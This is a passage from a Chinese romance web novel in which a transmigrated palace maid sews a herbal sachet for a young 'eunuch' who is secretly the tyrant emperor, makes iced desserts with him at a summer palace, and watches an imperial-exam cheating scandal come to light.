一想到小太监每天都挂着自己的香囊在同僚面前走来走去,苏蓁蓁就莫名感觉到羞耻又幸福。
唉,她这点暧昧的小心思不会被发现吧?
苏蓁蓁一边绣,一边偷偷幸福的想。
“苏姑娘。”一道声音在她身后响起。
苏蓁蓁转身,看到不知何时出现在自己身后的沈言辞。
穿了件紫色丝绸质地的常服,将他原本就儒雅的气质衬托的淋漓尽致。
看起来很骚的样子。
“大人。”苏蓁蓁低头行礼。
“我听说苏姑娘前些日子被误抓进了诏狱?”男人脸上露出担忧之色,“无碍吧?我担心的好几夜都没有睡好。”
我看你满面红光的睡得挺好的。
苏蓁蓁摇头,脸上露出惧色,“幸好诏狱里头的大人明事理,知道奴婢是冤枉的,将奴婢放了出来。”
沈言辞的视线在她脸上扫过,带着一股审视的味道。
他看到女人泫然欲泣的表情不似作假,才相信她说的话,“我本来疏通了关系,没想到晚了一步,幸好苏姑娘没事。”
呵,鬼信你。
苏蓁蓁神色感激地看向沈言辞,“多谢大人,没想到大人这样的人居然能记挂着奴婢……”
沈言辞看着眼前满脸感激的女人,脸上笑意更甚,“苏姑娘这样的女子,我第一次见到的时候,就没有忘记过。”
不对劲。
这沈言辞想干什么?
苏蓁蓁埋着头,没有回话,像是震惊于自己居然会被高高在上的沈大人看上。
“天气炎热,屋中多蚊虫,这个香囊送给苏姑娘。”
香囊这种东西对于男女来说都是比较私密的东西。
苏蓁蓁停顿了一会,抬手接过。
卖掉养美少年。
-
经过紧张的赶工,苏蓁蓁耗费三天时间,终于将这个香囊给做了出来。
她往里加入了晒干的薄荷和艾草,用来驱蚊和安神。
小小的一个香囊,虽然针脚有点乱,但闻起来还是很好闻的。
结束一天的工作之后,苏蓁蓁先去沐浴洗漱,将好几日没洗的头发清洗了一遍,然后仔仔细细抹上香喷喷的桂花头油,晾干之后梳了一个时兴的宫女发髻。
月上柳梢,苏蓁蓁坐在梳妆台前,拿起口脂,小心翼翼往唇上抹了一点,然后又沾了一点揉在掌心晕开,往面颊两侧抹了抹,显得更有气色一些。
唉,这满身班味,幸好原身长得好看。
今日月色不错,苏蓁蓁在小南宫檐下来来回回地踱步。
她还是第一次送男生礼物。
天气越来越热,白昼时间也越来越长,穆旦出现的时间点也跟着越来越晚。
苏蓁蓁坐在那等了好一会,一直到天色完全黯淡下来,才看到姗姗来迟的小太监。
苏蓁蓁迅速将香囊往身后藏。
小南宫门口,小太监提着灯笼走进来。
看到苏蓁蓁隐藏的动作,陆和煦视线上移,看到她心虚的神色。
“咳,你来了,坐啊。”苏蓁蓁抬手拍了拍身边的小板凳,“我做了豆沙包。”
苏蓁蓁不是一个很嗜甜的人,她蒸了几个小巧的豆沙包。
圆形的是给穆旦吃的,里面的豆沙十分甜。
长条形的是给她自己留的,里面的豆沙三分甜。
陆和煦坐下来吃豆沙包,软软绵绵的红色豆沙从白色外皮里流淌出来,却还能看到里面颗颗分明的红豆,一口咬下去,豆沙的颗粒感和流沙的甜腻混合在一起。
因为穆旦不喜欢扎针,所以苏蓁蓁就继续给他煮药。
吃完豆沙包,她将汤药递给穆旦。
弯腰的时候不小心将藏在身后的香囊掉出来了,苏蓁蓁赶紧捡起来藏好。
陆和煦咬着嘴里的豆沙包,看着女人慌慌张张匆匆忙忙的藏东西。
少年意兴阑珊,一口气喝完之后继续去拿豆沙包吃。
苏蓁蓁突然紧张地站起来。
她觉得自己站得比电线杆还直。
没办法,她是个母胎单身,还是个极度i人。
陆和煦抬眸看她,视线还没聚焦,面前就出现了一个东西,差点打到他脸上。
散发着还算好闻的味道,形状有些古怪。
他挑了挑眉,“老鼠香囊。”
苏蓁蓁:“……是猫。”
好吧,她的手艺实在是有些差劲。
“天气热了,容易有蚊虫,里面有艾草防虫,薄荷安神醒脑。”
虽然香囊的手艺差,但里面的药草绝对货真价实。
“你闻闻看。”
在女人殷切期盼的目光下,陆和煦抬手,指尖勾着香囊上面的细线。
香囊晃悠到他鼻前,他微微仰头,接住香囊,绯红色的香囊贴在他极白的肌肤上,形成鲜明的色差。
淡淡的艾草混着薄荷的味道冲入鼻腔之中,冲淡了春夏交换之季,那股一直萦绕在陆和煦心头的焦躁阴郁。
陆和煦眯着眼,任由香囊贴在自己鼻翼与面颊的凹陷处。
苏蓁蓁看着他的模样,觉得像一只初次嗅到猫薄荷以后,神色慵懒享受的小猫。
好吧,其实没那么平静。
吸到猫薄荷的小猫会在地上打滚,嚎叫,彷佛进入了新世界。
美少年虽然享受,但依旧姿态优雅。
-
魏恒在陆和煦的寝殿内发现了一个很丑的香囊,一看就不是宫里御用监会送过来的东西。
毕竟这样的东西若是由御用监送过来,那这御用监也就不必存在了。
这丑香囊时而出现在宝座上,时而出现在御案上,时而出现在龙床上,贴着枕头看似被随手扔在那里,却在翌日之时出现在了小祖宗的腰带上。
“算了。”陆和煦捏着香囊上下打量,“丑归丑,看习惯了倒也别有一番野趣。”
过了几日,香囊的味道淡了一些,陆和煦蹙眉看着,细白的手指使劲捏了几把。
他唤来魏恒,让他按照这香囊里面的东西重新塞些草药进去。
魏恒按照要求去了太医院取草药,可那小祖宗闻了一下就说不是这个味道。
可魏恒却闻不出来不对。
分明一样啊?
-
随着天气逐渐炎热起来,苏蓁蓁发现穆旦跟陷入夏季的小猫一样,越发懒得动弹,时常坐在那小板凳上就是一个时辰,都不带挪窝的,也不爱吃东西了。
虽然本来也不爱吃,但比起冬天的时候,现在简直就是靠每天一口猫食来维持身体机能。
苏蓁蓁在冬日里给他好不容易养起来的一点肉也跟着消下去了。
“要是有冰块就好了,我就能给你做酥山吃了。”
“酥山?”懒洋洋靠在那里的陆和煦起了兴致。
“对了,这个东西没味道了。”眼前出现上次她送给小太监的香囊。
苏蓁蓁一直没见他晚上与她见面时戴着,还以为不喜欢呢,没想到时隔几日又出现了。
自己送的东西被在意的人珍惜,苏蓁蓁忍不住微微脸红。
“我给你换新的草药。”
苏蓁蓁手脚麻利的给穆旦塞了新的草药进去。
小太监翘着小板凳坐在那里,抬手勾住香囊贴在鼻尖嗅闻。
嗯,就是这个味道。
-
听说暴君每年都要去行宫避暑,在行宫里每年都要杀几个人才能尽兴。
因此,当这份死亡陪玩名单下来的时候,苏蓁蓁腿软的没有控制住,差点跪下了。
同屋的宫女纷纷向她投来同情的视线。
入夜,苏薇薇哭丧着脸来到小南宫,将这件事情告诉了穆旦。
“行宫那里有一个很大的冰窖,你可以做酥山给我吃。”
苏蓁蓁:……
“要是,要是那暴君不小心把我杀了
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怎么办?”
小太监上下打量她一下,“不会的。”
“可是我听说去年就有好几个宫女被他杀了。”
陆和煦皱眉回忆。
杀的人太多了,想不起来了。
“我让干爹把你派到我身边来,我们离那暴君远远的。”
苏蓁蓁狗狗眼看向穆旦。
更爱了。
-
出行的日子到了,苏蓁蓁跟穆旦坐在队伍里那辆非常不起眼的小马车里,她看到前后密密麻麻的侍卫和车辆。
看来此次前去行宫的人有很多。
“怎么这么多人?”苏蓁蓁好奇询问。
“干爹为了拉拢那些新入翰林院的新科进士,把人一起带到行宫去度假了。”陆和煦懒洋洋地靠在马车壁上,外面的日光让他觉得十分不舒服。
魏恒不是说钦天监算到今日是阴天吗?
陆和煦拧着眉,视线落到最前面那架皇家马车上,现在只有魏恒一个人坐着。
那里面有冰块,应该能舒服些。
苏蓁蓁点了点头。
原来如此。
“你很热吗?”苏蓁蓁看到小太监额头冒出的汗水。
陆和煦拧着眉,额角微抽,因为马车帘子的晃动,所以时有日光从外泄露进来,他脸上的戾气越发掩藏不住。
苏蓁蓁看到少年越来越白的脸色,想了想,抽出自己的帕子,轻轻盖到他脸上,另外一只手托着他的后颈让他后仰。
马车太小,小太监半躺下来之后几乎就将半个车厢占住了。
苏蓁蓁挤在一侧,扯过一个软垫给他垫在身后。
覆在脸上的帕子带着清淡的草药香气,这是一块不怎么透光的棉帕子。
“你别动,张嘴。”
苏蓁蓁怀疑小太监可能是有些中暑了,幸好,她带了一些自己做的避暑小药丸。按照穆旦的口味,在里面加入了蜂蜜调和,味道应该不会太差。
棉帕遮盖住了阳光,入口的药丸甘甜醒神,陆和煦那股子戾气被逐渐抚平。
【嘴唇好软。】
那只按在他唇上的手脱离开去,留下一颗甜腻的药丸。
苏蓁蓁盯着自己的指尖看了看。
小太监盖着棉帕躺在那里,似乎是睡熟了。
看不到吧?
苏蓁蓁屈着指尖,悄悄送到唇边,碰了碰自己的唇,然后被羞耻地忍不住埋首。
好热,她要爆炸了。
-
队伍有条不紊的继续前进着,魏恒坐在皇家马车内,身边放置着一个铜盆,里面置着一大块冰。马车四周挂着芦帘和轻薄的绸缎,将外面的日光尽数遮蔽。
虽然钦天监算错了天气,但魏恒已经将马车内外布置完毕。
魏恒以为按照那小祖宗的脾气,那辆小马车是坐不长的。
没想到这一路过来,一直到达清凉山行宫,他都没有见到小祖宗回来。
-
陆和煦一觉睡醒,外头的天色已经黑了。
他很长时间都没睡这么长了。
尤其是在这该死的,闷热的夏日。
陆和煦一把拽下脸上的帕子,看到屈膝坐在自己身侧的宫女。
她穿着简单的粉色夏衫宫女服,纤瘦的身体蜷缩成团,双臂垫在膝盖上,正歪头睡觉。
马车内很闷,绯红色晕染在她白皙的肌肤上,像夏日里盛开的鲜花瓣。
因为空气不流通,所以女人身上带着的药香味更加浓郁,淡淡的像薄荷,又带一点艾草的香气。
陆和煦下意识靠近,那股味道更加浓郁,比那张棉帕上面的味道还要重。
两人靠得极近,女人却没有醒。
陆和煦微微偏头,鼻尖触到女人因为歪头睡觉,所以露出的一截脖颈。
女人的肌肤是漂亮的暖白色,因为热,所以带上了一点细腻的微粉。
陆和煦嗅到她身上的味道,像是从骨血里浸出来的一样,闻着不讨厌,甚至比那个丑香囊还好闻。
“穆旦。”外面传来魏恒的声音。
陆和煦抬手打开帘子,露出半张脸,眼皮垂着,看起来带着十分被打扰的不快。
魏恒下意识往后退,眼神往四周看了看。
因为是靠末尾的马车,所以这里没什么人停留。
魏恒压低声音道:“到了,可以下马车了。”
13.第 13 章
清凉山行宫占地极广,可以算得上是一个小型皇宫了。
苏蓁蓁打了马车帘子出来,入目是红墙青瓦,重檐翘角,听说附近还囊括了不少园林景观,里头假山水池,亭台楼阁一样不少,古雅清净,是贵女和郎君最喜欢去的地方。
已入夏,山上翠竹林立,苏蓁蓁托了穆旦的福,跟着他住在一处独立小院内,四周千百杆翠竹遮映,一走进去就感觉浑身舒爽,萦绕在周身的夏日黏腻感都消失了。
院子里有一处清泉绕到前屋,浇灌着墙头那株巨大的芭蕉树。
一共有三个屋子,一明两暗,中间是客厅,两边是卧室。
“你想住哪?”苏蓁蓁询问穆旦。
小太监伸出手指,懒洋洋指向右边那间更暗的。
正好,苏蓁蓁喜欢日光多一些的。
她背着自己的包袱入了左侧那间,里面陈设精致,床几椅案一应俱全。
自从穿过来之后,苏蓁蓁还是第一次拥有一间属于自己的独立卧房。
屋子里的被褥看起来是新换的,料子也是极好的,真是托了穆旦的福。
现在天色已经黑了,明日她再搬出去晒一晒。
苏蓁蓁在屋子里转了一圈,然后打开窗子。
屋里燃烧着提前插好的熏香,从味道可以闻出来应该是用来驱蚊的。
然后她发现自己住的屋子里居然还有独立厕所和沐浴的地方,天知道她到底已经有多久没有拥有独立卫浴了!
苏蓁蓁哼着小歌曲准备去小厨房烧水洗澡,就看到有两个小太监拎着水桶进来往穆旦的房间里去。
“两位公公这是在做什么?”
那两个小太监看到她,微微欠身,“奴才们在给穆旦公公打洗澡水。”
穆旦的地位居然已经高到有两个小太监伺候了。
苏蓁蓁一边摇头,一边自己去烧水洗澡,幸好她跟着穆旦没有被分配到什么工作,不然她都没有空自己烧洗澡水,还得伺候别人洗澡。
等一下,没有工作!这跟带薪度假有什么区别?没有区别!
苏蓁蓁泡在大木桶里,一边用丝瓜络给自己擦洗身体,一边快乐的继续哼歌。
远离了皇宫这个吃人怪物,来到清凉山,苏蓁蓁感觉自己被山上的郁郁葱葱治愈了。
听着院子里的虫鸣蝉叫,她晚上睡觉都是甜甜的。
苏蓁蓁睡了来到这个世界后的第一个自然醒。
她看着外面的阳光,整个人容光焕发!
苏蓁蓁起身穿戴完毕,开始洗漱,然后将昨日睡过的被褥拿出去晒晒,又将自己带过来的衣物拿出去晒晒,然后搬了一张椅子坐在檐下通风处等穆旦醒过来。
左等右等,苏蓁蓁都没有等到穆旦出现。
她看了一眼天色,这都要晌午了吧?
院子门口有小太监拎了食盒进来。
“苏姑娘,这是您的午膳。”
“多谢公公。”
苏蓁蓁伸手接过午膳,又往穆旦的屋子里看了一眼。
门窗紧闭。
苏蓁蓁没有打扰别人休息的习惯,她收拾了一下背篓就出去了。
清凉山上的草药比皇宫里品种更多,苏蓁蓁来到这里以后就像老鼠进了米缸。
因为穆旦十分抗拒针灸,所以苏蓁蓁只能给他加大药量了。
哎呀,养美少年真辛苦。
苏蓁蓁正挖着,突然听到一阵窸窸窣窣的声音。
她下意识朝声源处看去。
草药生长在偏僻之地,难免有不长眼的人意图不轨。
苏蓁蓁举着小锄头,看到墙角处似有什么东西在耸动。
下一刻,破烂的墙角里钻出来一个人。
苏蓁蓁手里的小锄头差点就下去了,直到她发现这个中年男人身上穿着官服。
差点就殴打了朝廷命官牢底坐穿了,幸好她眼力好。
那中年男人显然也没有想到自己从墙角钻进来之后,居然会看到一个拿着小锄头的美貌宫女。
“咳,我,我不是坏人。”
苏蓁蓁没动。
坏人都不会承认的。
“我是监察御史,你,你知道礼部尚书周墨周大人在哪吗?”那人想了想,一脸不舍地取下自己腰间的玉佩递给她,“劳烦带路。”
玉佩看起来成色不错,上面有一个“清”。
苏蓁蓁想起来了。
如果她没记错的话,这次科举舞弊案的起因是监察御史陈清臣发现此次选出来的人才全部出自世家,一个寒门都没有。
他心中怀疑,偷偷取了那些落选的考卷和中选的考卷查看。
发现中选的考卷狗屁不通,那些落选之中的反而多有才华横溢者。
彼时礼部尚书周墨正在清凉山跟着暴君度假,陈清臣认为此事十万火急,便直接骑马来了清凉山。
没想到清凉山内外看守极为严苛,他根本就进不来,便只好出此下策,钻墙而入。
进入清凉山后,陈清臣将此事告知礼部尚书周墨,却没想到周墨就是此次科举舞弊案的帮凶。
周墨之上,孙阁老作为收受贿赂的最大贪官,直接给陈清臣随便定了一个罪名扔进了诏狱。
此事就如此被压了下去。
朝中十年寒窗苦读入仕,致力于报效朝廷的寒门被以孙阁老为首的孙党打压数年,此次陈清臣之死成为导火索,令一众寒门出身的臣子对新朝心灰意冷,恰逢沈言辞出现,重新点燃了他们报效朝堂的希望,这支寒门队伍会成为沈言辞日后最坚实的朝中势力。
苏蓁蓁知道政治斗争是残酷的,是要踩着别人的尸骨才能往上爬的一件事。
可你沈言辞的政治斗争关她什么事?
“你这个玉佩值钱吗?”
陈清臣:……
“算了,给你带路吧。”
苏蓁蓁伸手拿过那块玉佩,领着陈清臣往外去。
陈清臣憋着一口气,跟在苏蓁蓁身后,“那是我的传家玉佩,日后我会找你赎回来的……”
两人走出一小段路,便见前头有锦衣卫巡逻。
陈清臣立时掩面,却已经来不及了。
锦衣卫是何等敏锐之人,上来就将陈清臣压在了地上。
你看看这事闹的。
苏蓁蓁看着陈清臣被锦衣卫安全拎走后,才拿着陈清臣的传家玉佩功成身退。
传家玉佩应该更值钱吧。
-
魏恒端坐水榭之中,脸上虽含笑,但心中已觉出古怪。
他周围站着几位今次春闱三甲,却连一首像样的诗都做不出来。
这是怎么回事?
“魏大人。”
锦衣卫指挥使韩硕压着腰间绣春刀,神色冷冽的出现在水榭中。
魏恒起身,与这些新科进士道别,随韩硕出了水榭。
两人走出不远,便听身后迫不及待传来那几个新科进士的议论声。
“一个太监还真把自己当人物了。”
“给我提鞋都不配的东西。”
韩硕表情瞬间阴冷下来,魏恒伸出手,按住他的臂膀,“什么事?”
“抓住一个私闯清凉山的……官员。”
“官员?”
这倒是奇了。
魏恒随韩硕回到自己的院子,那位被抓住的官员正被绑在里面。
“这是从他身上搜出来的东西。”
韩硕将两份卷子递给魏恒。
魏恒坐在为首的太师椅上,慢条斯理翻开卷子。
他看完之后,视线落到陈清臣身上,“陈大人?”
“唔唔唔……”陈清臣被堵了嘴。
“给陈大人松绑。”
陈清臣重获自由,神色警惕地看着魏恒。
魏恒微微一笑,姿态温和,“陈大人拿这两份卷子过来是为何?”
“我要找礼部尚书周墨大人。”
“不能与我说吗?”
“不能!”
魏恒继续微笑,“韩硕,把人关起来。”
既然讲不通,那他也正好有些武力。
魏恒觉得自己还是比较斯文的,若是这位陈大人碰到他那位祖宗,现在脖子上已经被架上宝剑了。
-
此次度假会在清凉山待将近三个月,避开金陵城最热的时候。
魏恒推开清凉殿的门,那位祖宗正蜷缩着躺在地上休息。
虽然现在日头已经落下,但魏恒还是不敢大意,赶紧转身关上殿门,然后将手里的东西置到案上。
地上的陆和煦动了动身体,他睁开眼,双眸清明,隐显血丝,根本就不是一副刚刚睡醒的样子。
魏恒放轻脚步上前,“陛下,奴才发现一件蹊跷的事,今次科举怕是有人舞弊。”
少年被吵醒,神色阴鸷至极,“全部杀了。”
魏恒:……
缓了缓,陆和煦踢开站在他脚边的魏恒,动作迟钝地翻了一个身,然后趴在地上伸出手,够到一侧的琉璃灯,便撑着身子起身,“你自己处理。”
说完,他推开殿门出去了。
苏蓁蓁摘了一日的草药,直到晚上,她才看到穆旦从外面回来。
唉,给别人当儿子真不容易啊,看脸色劳累了一日吧。
苏蓁蓁正在包药丸。
两颗一包,一日两次。
这是她给穆旦准备的药丸,比每日里熬汤药方便多了。
因为个头有些大,差不多麦丽素大小,装不进小瓷瓶里,所以是嚼着吃的。
小太监沉默着坐到苏蓁蓁身边,脸色苍白,“热。”
苏蓁蓁倒是觉得还好。
清凉山比起皇宫已经舒服太多了。
陆和煦在清凉山行宫摆满冰块的寝殿内睡了一日,不仅没有休息好,整个人还觉得更加阴郁。
陆和煦起身,转身入了院子。
苏蓁蓁探头去看,小太监穿着衣物,直接跨入院子里的泉水中,半个身子浸泡进去。
泉水是活泉,看起来很干净,浸到少年腰间。
他微微仰头靠在石头垒砌成的边缘,双手张开搭在旁边,骨节分明的指尖压着石块,扬起的脖颈上喉结突显。
太监还有喉结吗?
这个疑问一闪而过,苏蓁蓁立刻被美色所迷。
她一直觉得穆旦虽然长得好看,但身子太偏瘦弱,没想到被泉水浸湿之后,身上衣物紧贴,身体呈现出极其漂亮的薄肌线条。
少年像一只贪凉的慵懒小猫,整个人舒展开来。
月光也偏爱他,轻轻薄薄地落到他身上。
可惜了,是个太监。
看着少年热成这样,苏蓁蓁灵光一闪,“对了,你不是说这里有冰窖吗?”
-
苏蓁蓁跟着穆旦出了院子,两人沿着小道走,一直走到一处低矮的半拱形门前。
四周以砖石砌盖,窖门口盖着稻草芦席。
“这是冰窖吗?”
“
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嗯。”
陆和煦点头,将手里的灯笼递给苏蓁蓁,然后单手拨开上面的稻草芦席,掏出钥匙,打开木门。
苏蓁蓁提着灯笼,小心翼翼跟着小太监走进去,她随在他身后,伸出一只手扯住他的衣摆。
地窖里很黑,小灯笼照出一角,苏蓁蓁感觉到迎面扑来的冷意,身上穿着单薄衣物的她忍不住抖了抖,却也不觉得冷,就像是那种在闷热环境下突然进入开了空调的屋子里一样。
“要哪个?”陆和煦靠在冰块上,冰块带来的凉意让他舒服地眯起了眼。
这里有很多冰块,苏蓁蓁拿着灯笼转了一圈,最后选中一块比较小的。
“我们怎么拿?”
陆和煦脱掉身上的外衫,直接抱起那个冰块往外走。
苏蓁蓁提着灯笼跟在身后。
氤氲的灯色照出少年纤瘦漂亮的身姿,那掐着腰带的腰肢极细,不知道是真的那么细,还是视觉效果。
陆和煦抬脚跨出冰窖,身后的苏蓁蓁跟上来。
地窖门口湿滑,她一个趔趄往前扑倒,撞到陆和煦身上。
陆和煦抱着冰块勉强站稳,身后,苏蓁蓁一手拎着灯笼,一手抱住他的腰,也勉强跟着稳住身体。
【腰好细。】
陆和煦侧身低头,垂目看她。
苏蓁蓁轻咳一声,拍了拍裙裾站起来,“今天月色真好。”
-
两人回到院子里,这里还有一个小厨房,就在靠近院门口那里,像是用耳房改的,昨日苏蓁蓁就是在这里烧的水。
小厨房里摆着许多时令水果还有新鲜蔬菜肉类,锅碗瓢盆一应俱全。
苏蓁蓁在看电视剧的时候一直看到某些太监权倾朝野,手底下的小太监们也跟着吃香喝辣。
现在这种现象终于具象化了。
她突然感觉自己有点高攀不上穆旦这个阉二代了。
苏蓁蓁视线下移,落到穆旦腰间。
他还挂着自己送给他的那个丑香囊。
不知道她去跪着求魏恒把他的干儿子嫁给她的话,魏恒会不会把她这个一穷二白的追求者打出去。
苏蓁蓁一边分神想着事,一边手上动作不停。
她将冰块敲碎之后铺在红漆托盘里,过滤出冰渣,然后将掺入了蜂蜜的醍醐酥隔水融化之后浇在小冰山上,最后再点缀上新鲜水果,比如应季的西瓜、桃子等。
“削好了吗?”苏蓁蓁探头去看穆旦。
陆和煦坐在小板凳上,一手拿着桃子,一手拿着匕首正在削皮。
苏蓁蓁看着他将那薄薄一层桃子皮削下来,薄如蝉翼,甚至能透光还不断。
“哇,你削过多少桃子皮?”
“没削过。”
人倒是削过不少。
陆和煦慢吞吞将桃子切片,然后递给苏蓁蓁。
苏蓁蓁用筷子夹起,一片一片贴在酥山上。
然后又让穆旦去开西瓜。
陆和煦起身,走到院中那个清泉边,把刚才泡在里面的西瓜搬出来,置在案板上。
西瓜被他一切二,露出里面漂亮的红壤。
“这中间的芯子是最甜的。”
苏蓁蓁指了指西瓜心。
陆和煦用匕首挖出来插在匕首尖上,然后咬了一口。
“还行。”说完,陆和煦视线一转,落到苏蓁蓁手边的那罐蜂蜜上。
他拿起蜂蜜罐子,往西瓜上浇了一点,然后又咬一口,表情立刻舒展开来。
你的胰岛素都要干冒烟了吧?
苏蓁蓁觉得自己应该给陆和煦加大药量了。
一份酥山,苏蓁蓁和陆和煦两人面对面坐着,一人拿着一个小木勺挖着吃。
苏蓁蓁不是很嗜甜,挖中间没有被蜂蜜淋透的地方。
陆和煦嗜甜,从上面蜂蜜最多的地方开始挖。
冰冷的沙冰入喉,小太监的神色愈发好转。
他微微偏头看向坐在自己对面的女人,身上穿了件低调的暗色宫女服,头发有些乱,细碎的鬓角刘海滑落,贴在面颊上,平添几分慵懒随性。
“这个,没有味道了。”
陆和煦勾出腰间香囊递给苏蓁蓁。
苏蓁蓁伸手接过香囊,十分熟练的从随身携带的药包里取出新的草药给他换上。
陆和煦嗅着新换的香囊,却总觉得味道不对劲。
苏蓁蓁还在挖酥山吃,她为了吃那块老是逃跑的桃子块,半个身子扭到了陆和煦面前。
少年手里捏着勺子,将冰沙往嘴里送,身子微微轻侧,鼻息间嗅到女人身上的味道。
比香囊好闻。
苏蓁蓁终于插住那块逃跑的桃子了。
她一抬眸,正对上少年那张近在咫尺的脸。
太近了。
她什么时候凑过来的?难道这就是传说中的生理性吸引?
肌肤好白,一点瑕疵都没有。
眼睫很长,眼瞳很黑。
少年微阖着眼,似乎没注意到两人已经超过安全距离了。
苏蓁蓁用力咽了咽口水,视线从少年湿润的唇瓣上略过。
为了阻止自己做出疯狂行为,苏蓁蓁猛地一下举起桃子抵到少年唇上隔开距离,“吃桃子吗?”
【啊啊啊啊啊其实我想吃你。】
【你看起来比桃子还嫩。】
陆和煦眯眼,垂目看到女人垂落在自己手背上的发丝。
他抖了抖,将那缕头发抖掉。
14.第 14 章
酥山吃完了。
桃子也吃完了。
苏蓁蓁和小太监一起并排躺在檐下,夏日微风习习,女人眯起眼,望着天空中挂着的那抹明月。
小太监如同被安抚好的暴躁小猫,跟她一起躺在另外一张躺椅上。
“今日你干爹那里有出什么事吗?”
小太监勾了勾唇,像抓住了暗桩的小尾巴。
“今次春闱科举出了些事,听说有人舞弊。”说完,陆和煦偏头将视线落到苏蓁蓁脸上,眸中闪着兴味。
苏蓁蓁点了点头,“那你别忘了吃药。”
“这个药一日一次,每日一颗,早上用了早膳再吃,晚上睡前再吃一颗,我给你做了一个月的药量,先吃了以后看看效果。”说到这里,苏蓁蓁一顿,长叹一声。
唉,这吃人的政治斗争啊。
唉,这花钱的美少年啊。
也不知道之前经历了什么,年纪轻轻的身体居然会变成这样。也幸好他年纪还小,好好调理一下应该也能恢复正常。
苏蓁蓁心里开始算计日后要用到的药材,许多药材就算是放在现代都非常名贵,更别说是古代这种物资稀缺的地方了。
她得多攒点钱,才能养得起穆旦了。
“还有呢?”身边冷不丁响起一道声音。
苏蓁蓁下意识偏头。
嗯?
“科举舞弊案。”
哦,这个啊。
苏蓁蓁歪头想了想,“挺可怜的。”
怀着满身抱负入仕,从提携玉龙为君死到一心愁谢如枯兰。
不过这世上的人,谁不受委屈。
身边的小太监安静下来,夜已深,苏蓁蓁眼皮下垂逐渐犯困。
侧边花盆内插着一根驱蚊香,幽幽淡香袅袅,丝丝缕缕的烟雾缓慢飘出,沁出细腻淡香。
陆和煦缓慢睁开眼,一偏头就能看到躺在自身边,睡得无知无觉的女人。
他单手托腮,微微偏头,指尖抬起,勾住女人蜿蜒落到地上的发丝。
他不相信女人无故询问后听到科举舞弊之事,心中毫无想法。
【他不会是要偷亲我吧?】
陆和煦面无表情松开那缕头发。
-
魏恒坐在案后,面前摆着几百份考卷。
他花费一天一夜终于将它们全部看完了。
他白日里的疑惑终于得到了解答。
一百三十一位进士,全部都是被塞进来的。
“哈,哈哈哈哈……”
魏恒被气笑了。
他知道如今这朝堂有些离谱,可是他没有想到这么离谱。
这可是整整一百三十一个啊!
魏恒伸手扶额,面前站着韩硕。
“魏大人?”韩硕看着跟疯了一样的魏恒,下意识往后退了一步。
“我没事。”魏恒抱着那堆卷子起身,看一眼天色,疾步出了院子往清凉殿去。
“陛下,奴才有急事禀告。”
魏恒伏跪于地,怀中几百张卷子散落于地。
琉璃灯暗,他看着这些卷子,竟莫名缄默,有一种不知从何说起的苦涩。
“说。”头顶落下一个字。
魏恒下意识抬头,看到少年立在自己身前的身影。
分明是个十几岁的孩子,身上却已经浸润出属于帝王的气势,隐在暗色里,视线锐利如刃。
“科举选才,乃国之根本,上匡社稷,下牧黔黎,可如今,此制却变成了某些人的敛财工具,长此以往,贤愚不分,官邪不辨,国本何存,望陛下明鉴。”
陆和煦神色冷淡地站在那里,正要吩咐魏恒自己去查办此事。
挺可怜的。
脑中骤然浮现出女人的话。
他素来没有什么怜悯之心。
陆和煦拧眉,脚步转回去,“把负责此次科举的人叫过来。”
-
此次科举的主要负责人有两位,一位是礼部尚书周墨,还有一位是监察御史陈清臣。
这两位早就听闻暴君一言不合就拔剑杀人的名号,进殿之后伏跪于地,不敢抬头。
他们的额头贴着冰冷的地砖,只觉那股阴冷从骨子里沁出来,令他们两股战战。
“臣,礼部尚书周墨……”
“臣,臣监察御史陈清臣……”
“叩见陛下……”
陆和煦起身,走到两人中间。
他的指尖贴到两人发丝之上,表情越显阴鸷。
“魏恒。”
“陛下。”
“这个交给锦衣卫。”陆和煦抬手指向礼部尚书周墨。
周墨神色惶恐地抬头,面色惨白,“陛下,陛下臣冤枉啊,陛下……”
锦衣卫入内,一把捂住周墨的嘴将人拖走。
殿内只剩下陈清臣一人。
看到周墨的下场,陈清臣跪在地上,浑身颤栗,身上的官服早已湿透。
少年帝王的视线落到他身上。
陈清臣跪在清凉殿内,额头浸满冷汗。
清凉殿内一声杂音都没有,陈清臣只听得见自己的呼吸,像破风箱一样,好像下一口气上不来就要厥过去了。
“陛下,今次科举舞弊事件,多亏陈大人送来卷子。”魏恒上前开口替陈清臣说话。
陆和煦神色淡淡应一声,“剩下的让锦衣卫查办。”
-
苏蓁蓁一早起身,就听到外面吵吵嚷嚷的。
已经有不少宫婢和太监凑出去看热闹。
苏蓁蓁也跟上了大部队。
什么热闹啊。
她凑在人群后面一边嗑瓜子一边观望,远远就瞧见锦衣卫在抓人。
抓完你的,抓你的。
那批新科进士,没有一个落下的,全部都给逮起来了,也不知道那诏狱能不能一口气装下这么多人。
这些进士们以为这次是来度假的,没想到送命来了。
抓完人,苏蓁蓁踮脚瞧见远远又行来一队人。
老熟人了,她未来老公的干爹。
魏恒手持圣旨,视线在园内扫视一圈,最后落到那瑟瑟发抖躲在角落的陈清臣身上。
锦衣卫一大早上来抓人,可把这位监察御史吓坏了,差点又从狗洞里钻出去。
“陛下圣旨到,监察御史陈清臣听旨。”
陈清臣连滚带爬地跪出来。
“奉天承运,皇帝诏曰:
监察御史陈清臣,持宪清直,纠劾不避,今特升为礼部尚书,掌礼乐祭祀,贡举政令。尔当恪尽职守,不负简拔。
钦此。”
陈清臣瞪大了眼,眼也不花了,腰也不疼了,腿也不抖了。
“臣,叩谢龙恩!”
魏恒上前,将圣旨送到陈清臣手里。
“魏大人,”陈清臣抬头,涕泗横流,“臣,臣也是寒门出身,明,明白寒门不易……对于我们而言,十年寒窗苦读,若不能入仕报效朝廷,岂不是白活一世……”陈清臣说着话,声音陡然哽咽起来。
四十多岁的中年男子,跪在魏恒面前掩面哭泣。
陈清臣虽有才干,但受制于家世,一介寒门无所依傍,以为自此就要了了一生,没想到竟于不惑之年破格擢升。
“尚书大人快起吧。”魏恒将人扶起来。
“魏大人,之前是我,是我眼拙,您别介意。”陈清臣记着魏恒替自己在皇帝面前说话的事。
魏恒摇头道:“是陛下圣明。”
“对对对,是陛下圣明!”
苏蓁蓁捂了捂腰间这位新任尚书大人的传家玉佩。
不会找她要回去吧?
-
“孙阁老那边来人了。”刘景行推门而入,身后跟着一位年轻男子,锦衣华服,面容倨傲,他看到坐在帘后吃茶的沈言辞,表情极其难看,语气也很不好,“周墨被抓了,你知道吗?”
面对沈言辞这样的二品大员,这位男子的态度十分不客气。
沈言辞放下茶盏,“听说了。”
“那你还坐在这里吃茶?”
“我不坐在这里吃茶我去哪里?”沈言辞没压住自己的火气。
